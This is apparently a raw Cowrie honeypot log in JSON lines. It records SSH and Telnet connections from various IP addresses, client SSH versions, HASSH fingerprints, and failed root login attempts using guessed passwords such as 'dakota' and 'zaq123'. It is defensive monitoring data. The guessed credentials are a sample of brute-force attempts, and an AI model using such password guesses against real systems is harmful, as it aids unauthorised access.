{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:57.320722Z","src_ip":"194.113.233.25","session":"d864d203a05f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dakota","message":"login attempt [root/dakota] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:57.589732Z","src_ip":"194.113.233.25","session":"d864d203a05f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:58.682852Z","src_ip":"194.113.233.25","session":"d864d203a05f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.56.3","src_port":53536,"dst_ip":"10.17.0.5","dst_port":22,"session":"c163f31431b2","protocol":"ssh","message":"New connection: 103.115.56.3:53536 (10.17.0.5:22) [session: c163f31431b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:58:06.312865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:58:06.317919Z","src_ip":"103.115.56.3","session":"c163f31431b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:58:06.532002Z","src_ip":"103.115.56.3","session":"c163f31431b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"demo123456","message":"login attempt [root/demo123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:58:07.156573Z","src_ip":"103.115.56.3","session":"c163f31431b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:58:08.366584Z","src_ip":"103.115.56.3","session":"c163f31431b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.205.247.46","src_port":39572,"dst_ip":"159.203.135.109","dst_port":23,"session":"06cf67b65feb","protocol":"telnet","message":"New connection: 201.205.247.46:39572 (159.203.135.109:23) [session: 06cf67b65feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:58:09.581973Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":45440,"dst_ip":"10.17.0.5","dst_port":22,"session":"c76e0e891f6c","protocol":"ssh","message":"New connection: 80.94.92.184:45440 (10.17.0.5:22) [session: c76e0e891f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:58:15.484389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:58:15.620989Z","src_ip":"80.94.92.184","session":"c76e0e891f6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:58:15.625050Z","src_ip":"80.94.92.184","session":"c76e0e891f6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"banx","message":"login attempt [solv/banx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:58:16.714977Z","src_ip":"80.94.92.184","session":"c76e0e891f6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":58361,"dst_ip":"10.17.0.5","dst_port":23,"session":"aee81debb0f1","protocol":"telnet","message":"New connection: 49.88.156.34:58361 (10.17.0.5:23) [session: aee81debb0f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:58:17.426710Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.191.31","src_port":33838,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d38a4630f1f","protocol":"ssh","message":"New connection: 170.106.191.31:33838 (10.17.0.5:22) [session: 7d38a4630f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:58:17.494757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:58:17.502181Z","src_ip":"170.106.191.31","session":"7d38a4630f1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:58:17.569583Z","src_ip":"170.106.191.31","session":"7d38a4630f1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pv","message":"login attempt [root/pv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:58:17.872054Z","src_ip":"170.106.191.31","session":"7d38a4630f1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:58:17.952257Z","src_ip":"80.94.92.184","session":"c76e0e891f6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:58:18.943050Z","src_ip":"170.106.191.31","session":"7d38a4630f1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.27704167366028,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:58:45.858890Z","src_ip":"201.205.247.46","session":"06cf67b65feb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.213","src_port":1509,"dst_ip":"10.17.0.5","dst_port":22,"session":"828e8798e3ce","protocol":"ssh","message":"New connection: 102.88.137.213:1509 (10.17.0.5:22) [session: 828e8798e3ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:08.438280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:08.443499Z","src_ip":"102.88.137.213","session":"828e8798e3ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:08.623331Z","src_ip":"102.88.137.213","session":"828e8798e3ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"complex","message":"login attempt [root/complex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:09.371439Z","src_ip":"102.88.137.213","session":"828e8798e3ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:10.555686Z","src_ip":"102.88.137.213","session":"828e8798e3ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":60244,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee873fa1a4b9","protocol":"ssh","message":"New connection: 185.236.22.41:60244 (159.203.135.109:22) [session: ee873fa1a4b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:11.741053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:11.763364Z","src_ip":"185.236.22.41","session":"ee873fa1a4b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:11.845760Z","src_ip":"185.236.22.41","session":"ee873fa1a4b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfrcbvrf","message":"login attempt [root/vfrcbvrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:12.528981Z","src_ip":"185.236.22.41","session":"ee873fa1a4b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:13.636348Z","src_ip":"185.236.22.41","session":"ee873fa1a4b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.56.3","src_port":45672,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad94fa9bc7ed","protocol":"ssh","message":"New connection: 103.115.56.3:45672 (10.17.0.5:22) [session: ad94fa9bc7ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:13.793349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:13.798520Z","src_ip":"103.115.56.3","session":"ad94fa9bc7ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:14.028806Z","src_ip":"103.115.56.3","session":"ad94fa9bc7ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abC123456","message":"login attempt [root/abC123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:14.693785Z","src_ip":"103.115.56.3","session":"ad94fa9bc7ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:15.921842Z","src_ip":"103.115.56.3","session":"ad94fa9bc7ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35698,"dst_ip":"10.17.0.5","dst_port":23,"session":"f277a632a320","protocol":"telnet","message":"New connection: 152.42.224.71:35698 (10.17.0.5:23) [session: f277a632a320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:21.198622Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":33854,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab71145e9399","protocol":"ssh","message":"New connection: 89.223.69.22:33854 (10.17.0.5:22) [session: ab71145e9399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:21.829420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:21.834593Z","src_ip":"89.223.69.22","session":"ab71145e9399","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:21.952894Z","src_ip":"89.223.69.22","session":"ab71145e9399","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq123","message":"login attempt [root/zaq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:22.308041Z","src_ip":"89.223.69.22","session":"ab71145e9399","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.191.31","src_port":32786,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecd64a1771e7","protocol":"ssh","message":"New connection: 170.106.191.31:32786 (10.17.0.5:22) [session: ecd64a1771e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:22.639062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:22.643780Z","src_ip":"170.106.191.31","session":"ecd64a1771e7","protocol":"ssh"}
